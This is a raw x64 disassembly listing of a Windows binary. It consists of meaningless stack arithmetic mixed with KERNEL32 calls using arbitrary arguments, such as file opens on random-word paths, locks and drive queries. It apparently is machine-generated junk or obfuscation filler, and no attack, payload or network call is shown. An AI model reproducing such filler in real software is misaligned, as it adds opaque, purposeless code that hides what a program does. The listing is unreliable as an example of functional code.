mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0xbc20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0xa2f8]
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0x9698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a14], eax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov dword [rsp + 0x4d4c], eax
movzx eax, word [rsp + 0xfb4]
movzx ecx, word [rsp + 0xc24]
add eax, ecx
mov word [0x1401e60fc], ax
mov rax, qword [rsp + 0xab58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb4]
shl eax, cl
mov rcx, qword [rsp + 0xb0c0]
mov word [rcx], ax
movzx eax, byte [0x1401e60a7]
mov byte [rsp + 0x1c4], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0xa2c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8b]
sar eax, cl
mov rcx, qword [rsp + 0x9d08]
mov byte [rcx], al
movsx eax, word [rsp + 0xcd8]
movsx ecx, word [0x1401e6144]
or eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xac68]
mov rax, qword [rax]
mov qword [rsp + 0xcd00], rax
mov eax, dword [rsp + 0x488c]
mov ecx, dword [rsp + 0x4b2c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4280], eax
movzx ecx, word [rsp + 0xf18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0xbbf0]
mov qword [rsp + 0xcd08], rax
xor edx, edx
mov eax, dword [0x1401e6014]
mov rcx, qword [rsp + 0x9f18]
div dword [rcx]
mov dword [rsp + 0x42d4], eax
lea rax, [rsp + 0x115c]
mov qword [0x1401e7a88], rax
mov rax, qword [rsp + 0x9f28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb8c]
and eax, ecx
mov rcx, qword [rsp + 0xa528]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x1c5], al
mov rax, qword [rsp + 0xc958]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
sub eax, ecx
mov byte [rsp + 0x12d], al
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x1c6], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rcx, [rsp + 0x257f0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0xb8e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc320], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xb7c0], rax
mov rax, qword [rsp + 0xac40]
mov rcx, qword [rsp + 0xac80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
lea rax, [rsp + 0xc070]
mov qword [rsp + 0xcd10], rax
mov rax, qword [rsp + 0xbf70]
mov ecx, dword [rsp + 0x4ad8]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xaa40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaab0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6097], al
lea rax, [rsp + 0xee4]
mov qword [rsp + 0xcd18], rax
mov rax, qword [0x1401e74f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11d4]
sub eax, ecx
mov word [rsp + 0x1124], ax
movzx eax, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0x86]
sub eax, ecx
mov rcx, qword [rsp + 0x99b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ae0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c7], al
movzx ecx, word [rsp + 0x1218]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xcfc], ax
mov rax, qword [rsp + 0xaa40]
mov rcx, qword [rsp + 0xb908]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x470c], eax
lea rdx, [rsp + 0x4748]
mov rcx, qword [rsp + 0xaed0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d50], eax
movzx ecx, word [rsp + 0xfd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdc0], ax
lea rax, [rsp + 0xa2b0]
mov qword [rsp + 0xcd20], rax
mov rax, qword [rsp + 0x9698]
mov ecx, dword [rsp + 0x4398]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4524], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0xcd28], rax
movzx eax, byte [rsp + 0x13b]
movzx ecx, byte [rsp + 0x106]
sar eax, cl
mov byte [0x1401e60b7], al
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0xfa8]
shl eax, cl
mov rcx, qword [rsp + 0xc0f8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:MilitarilyVeganBalms
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcd30], rax
lea rcx, [rsp + 0x2a6c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4a9c], eax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x117]
or eax, ecx
mov rcx, qword [rsp + 0xb000]
mov byte [rcx], al
movzx eax, word [rsp + 0x11e8]
mov word [rsp + 0x12d4], ax
mov rax, qword [rsp + 0xb170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ff8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9320]
mov word [rcx], ax
mov rax, qword [rsp + 0xc198]
mov eax, dword [rax]
mov dword [rsp + 0x4d54], eax
mov rax, qword [rsp + 0x9de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0xa4a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9088]
mov eax, dword [rax]
mov dword [rsp + 0x4d58], eax
mov rax, qword [rsp + 0xb150]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb070]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e60bc], ax
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [rsp + 0xc740]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
lea rax, [rsp + 0x6b]
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xbdf0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbb], al
mov ecx, DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4ca0], eax
movzx eax, byte [rsp + 0x19a]
mov rcx, qword [rsp + 0x9960]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0xcc58]
mov eax, dword [rax]
mov dword [rsp + 0x4d5c], eax
lea rcx, [rsp + 0x26938]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcbb0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xcd40], rax
mov r9d, 1
lea r8, [rsp + 0x95a0]
mov rdx, qword [rsp + 0xa478]
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bfc], eax
mov rax, qword [rsp + 0xa9e8]
mov rax, qword [rax]
mov qword [rsp + 0xcd48], rax
mov eax, dword [rsp + 0x4bac]
mov ecx, dword [rsp + 0x46b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb140]
mov dword [rcx], eax
lea rax, [rsp + 0xba]
mov qword [0x1401e7a90], rax
mov rax, qword [rsp + 0xa120]
movzx eax, word [rax]
mov word [rsp + 0x12d8], ax
mov rax, qword [0x1401e7a18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9e]
add eax, ecx
mov rcx, qword [rsp + 0xa790]
mov byte [rcx], al
mov rax, qword [rsp + 0xcb18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xabd8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xce8], ax
lea rax, [rsp + 0x1144]
mov qword [rsp + 0xcd50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42dc], eax
mov rax, qword [rsp + 0xc880]
mov rcx, qword [rsp + 0xb5c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xba80], rax
lea rax, [rsp + 0x44a4]
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0x93d0]
mov rcx, qword [rsp + 0x9348]
mov qword [rsp + 0xcd60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb858]
mov qword [rcx], rax
mov eax, dword [rsp + 0x448c]
mov rcx, qword [rsp + 0xc148]
mov qword [rsp + 0xcd68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd68]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xaa88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaeb8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c8], al
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0xc120]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401e7860]
mov word [rcx], ax
mov rax, qword [rsp + 0xc150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcc80]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc210]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:_teaparty_trigramsmiosis
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcd70], rax
movzx eax, word [rsp + 0x1124]
mov word [rsp + 0x12dc], ax
mov rax, qword [rsp + 0xaf40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xce4]
add eax, ecx
mov word [rsp + 0xfcc], ax
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4948], eax
lea rdx, [rsp + 0x28458]
mov rcx, qword [rsp + 0xa078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4350], eax
mov rax, qword [rsp + 0xc4e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa628], rax
mov dword [rsp + 0x20], 0x73
mov r9d, 0xf17
mov r8d, 0x2483
mov edx, 0x3126
mov rcx, qword [rsp + 0xc0f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c20], eax
mov rax, qword [rsp + 0xa2f8]
mov qword [rsp + 0xcd78], rax
mov rax, qword [rsp + 0xa470]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov dword [rcx], eax
lea rax, [rsp + 0x4384]
mov qword [rsp + 0xcd80], rax
lea rdx, [rsp + 0x9100]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d60], eax
movsx eax, word [rsp + 0x10d8]
movsx ecx, word [rsp + 0xc38]
sub eax, ecx
mov word [rsp + 0x106c], ax
lea rax, [rsp + 0xad]
mov qword [0x1401e7a98], rax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x9bf8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc5c8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movzx eax, word [rsp + 0x1290]
mov word [rsp + 0x12e0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movsx eax, byte [rsp + 0x15e]
mov rcx, qword [0x1401e7618]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbf90]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xbec0], rax
lea rax, [rsp + 0x46cc]
mov qword [rsp + 0xcd88], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:AmbiguouswomenPeevish
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcd90], rax
mov rax, qword [rsp + 0xc400]
mov ecx, dword [rsp + 0x4b9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4488], eax
mov edx, 0x29035a
mov rcx, qword [rsp + 0xad60]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4564], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xadf0]
mov qword [rsp + 0xcd98], rax
mov rax, qword [rsp + 0xbf10]
mov rcx, qword [rsp + 0xc190]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd28]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc5e8], rax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x98]
add eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0xb658]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbf8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e602e], al
lea rax, [rsp + 0x1080]
mov qword [rsp + 0xcda0], rax
mov rax, qword [rsp + 0x9310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b50]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1028], ax
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0x1c9], al
mov eax, dword [rsp + 0x4784]
mov rcx, qword [rsp + 0x9b00]
mov qword [rsp + 0xcda8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcda8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc198]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb8e0]
mov rcx, qword [rsp + 0xcb10]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac30]
mov qword [rcx], rax
mov eax, dword [section..data]
mov dword [rsp + 0x4d64], eax
mov rax, qword [rsp + 0xbb78]
mov rcx, qword [rsp + 0xbc50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa890], rax
lea rax, [rsp + 0x10dc]
mov qword [rsp + 0xcdb0], rax
lea rax, [rsp + 0x1274]
mov qword [0x1401e7aa0], rax
mov rax, qword [0x1401e7788]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf1c]
sub eax, ecx
mov word [rsp + 0x1050], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xaff0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9528], rax
lea rcx, [rsp + 0x2a8a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x45c4], eax
lea rcx, [rsp + 0x26c38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xa400]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb348]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa910]
mov byte [rcx], al
lea rax, [rsp + 0x123]
mov qword [rsp + 0xcdb8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x9fc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcc0], ax
mov r9d, 2
lea r8, [rsp + 0x9808]
mov rdx, qword [rsp + 0xcdc0]
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x44d4], eax
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4454], eax
lea rax, [rsp + 0x4b88]
mov qword [rsp + 0xcdc8], rax
mov rcx, qword [rsp + 0x9058]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xcc08]
mov rcx, qword [rsp + 0xab18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc610], rax
lea rax, [0x1401e7420]
mov qword [rsp + 0xcdd0], rax
mov dword [rsp + 0x20], 0x2496
mov r9d, 0x3f82
mov r8d, 0x1d2e
mov edx, 0x1ab0
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4d68], eax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x4a48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xca00]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x126]
movsx ecx, byte [rsp + 0xcb]
add eax, ecx
mov rcx, qword [0x1401e7830]
mov byte [rcx], al
mov rax, qword [rsp + 0x99d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1048]
and eax, ecx
mov word [rsp + 0x1058], ax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
mov byte [rsp + 0x1ca], al
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa8e8]
movzx eax, word [rax]
movzx ecx, word [0x1401e60c0]
imul eax, ecx
mov rcx, qword [rsp + 0xcdb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaed8]
movzx eax, word [rax]
mov word [rsp + 0x12e4], ax
mov rax, qword [rsp + 0x9550]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa118]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xae38], rax
xor edx, edx
mov eax, dword [rsp + 0x4b14]
mov rcx, qword [rsp + 0xa808]
div dword [rcx]
mov rcx, qword [rsp + 0xb6c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc980]
mov eax, dword [rax]
mov dword [rsp + 0x4d6c], eax
mov rax, qword [rsp + 0xbc20]
movzx ecx, al
mov rax, qword [rsp + 0xbb10]
shl rax, cl
mov qword [rsp + 0x9800], rax
lea rax, [rsp + 0x144]
mov qword [0x1401e7aa8], rax
lea rax, [rsp + 0xab]
mov qword [rsp + 0xcdd8], rax
movsx eax, word [rsp + 0x100c]
movsx ecx, word [rsp + 0x12e4]
sar eax, cl
mov word [rsp + 0xed8], ax
movzx eax, word [rsp + 0xb60]
movzx ecx, word [0x1401e60fc]
xor eax, ecx
mov rcx, qword [rsp + 0x9d40]
mov word [rcx], ax
lea rax, [rsp + 0x160]
mov qword [rsp + 0xcde0], rax
mov rax, qword [rsp + 0x98f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9648]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9480], rax
mov rax, qword [rsp + 0xc2f8]
mov rax, qword [rax]
mov qword [rsp + 0xcde8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1845
mov rcx, qword [rsp + 0x9330]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x44f4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xa140], rax
mov rax, qword [rsp + 0x9588]
mov ecx, dword [rsp + 0x4ce4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4960], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xcdf0], rax
mov rax, qword [rsp + 0xc4f8]
mov rcx, qword [rsp + 0xb3f8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4b80], eax
mov rax, qword [rsp + 0xc850]
movzx eax, word [rax]
movzx ecx, word [0x1401e6088]
and eax, ecx
mov word [str.__f_n_], ax
mov rcx, qword [rsp + 0xc960]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x44d4], eax
lea rax, [rsp + 0x1034]
mov qword [rsp + 0xcdf8], rax
mov rax, qword [rsp + 0xa3c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ca], al
lea rax, [rsp + 0x13a]
mov qword [rsp + 0xce00], rax
movsx eax, byte [0x1401e74f3]
movsx ecx, byte [rsp + 0x78]
add eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x9518]
mov qword [rsp + 0xce08], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4560], eax
mov rax, qword [rsp + 0xb790]
mov rcx, qword [rsp + 0xbf88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcc70], rax
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4458], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1f5b
mov r8d, 0x1e51
mov edx, 0xce
mov rcx, qword [rsp + 0xbb18]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4d70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x9e58]
mov eax, dword [rax]
mov dword [rsp + 0x4d74], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x49a4], eax
lea rcx, [rsp + 0x26878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x1270]
mov word [0x1401e7ab0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:SubmittableHuguenot_vise
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xce10], rax
lea rcx, [rsp + 0x95a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
mov rax, qword [0x1401e77c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10a0]
sub eax, ecx
mov rcx, qword [rsp + 0x96b8]
mov word [rcx], ax
lea rax, [rsp + 0xed]
mov qword [rsp + 0xce18], rax
mov rax, qword [rsp + 0xb060]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x184], al
mov rax, qword [0x1401e7820]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a3]
sub eax, ecx
mov rcx, qword [rsp + 0x9868]
mov byte [rcx], al
mov rax, qword [rsp + 0x9bd0]
mov qword [rsp + 0xce20], rax
lea rcx, [rsp + 0xacf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0xc5e0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb590]
mov qword [rcx], rax
lea rax, [0x1401e741c]
mov qword [rsp + 0xce28], rax
mov rax, qword [rsp + 0xbcb8]
mov ecx, dword [rsp + 0x4758]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4670], eax
movsx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x98b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e6053], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xce30], rax
mov rax, qword [rsp + 0xb780]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb9a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xbdc], ax
lea rax, [rsp + 0x11c0]
mov qword [rsp + 0xce38], rax
mov rax, qword [rsp + 0x96e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
sar eax, cl
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0xafb8]
movzx eax, byte [rax]
mov byte [rsp + 0x1cb], al
mov eax, dword [rsp + 0x485c]
mov ecx, dword [rsp + 0x4d64]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4be0], eax
mov rax, qword [rsp + 0xa2e0]
mov ecx, dword [0x1401e6014]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4be4], eax
mov rax, qword [rsp + 0x9908]
mov qword [rsp + 0xce40], rax
mov rax, qword [rsp + 0xa060]
mov rcx, qword [rsp + 0xcd28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9fa0], rax
movzx eax, word [rsp + 0xda8]
mov rcx, qword [rsp + 0xc1f0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1401e74b4], ax
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0xce48], rax
mov rax, qword [rsp + 0xbf68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbff8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9678]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa410], rax
mov rcx, qword [rsp + 0x9d00]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, 0xf31f
mov rcx, qword [rsp + 0xb1d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4d60], eax
lea rax, [rsp + 0xd4]
mov qword [rsp + 0xce50], rax
mov rax, qword [0x1401e75c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11c4], ax
lea rcx, str.chandler_Refunds_Pooch_square_Straight
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x12e8], ax
mov rax, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0xb998]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc630], rax
lea rax, [0x1401e7420]
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xa748]
mov rcx, qword [rsp + 0x9588]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9d90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa40]
mov eax, dword [rax]
mov dword [rsp + 0x4d78], eax
lea rax, [rsp + 0x11f]
mov qword [0x1401e7ab8], rax
movzx eax, word [rsp + 0xd08]
movzx ecx, word [rsp + 0x1214]
sub eax, ecx
mov rcx, qword [rsp + 0xa420]
mov word [rcx], ax
mov rax, qword [rsp + 0xa188]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa518]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc730]
mov byte [rcx], al
movzx eax, word [rsp + 0xe74]
mov word [rsp + 0x12ec], ax
movsx eax, word [rsp + 0x102c]
mov rcx, qword [rsp + 0xa6f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x117c], ax
lea rcx, [rsp + 0x25520]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [rsp + 0x46cc]
mov dword [rsp + 0x4d7c], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4680], eax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9740]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc128], rax
lea rdx, [rsp + 0xce60]
mov rcx, qword [rsp + 0xbbd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4954], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x43f4], eax
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x43c0], eax
xor ecx, ecx
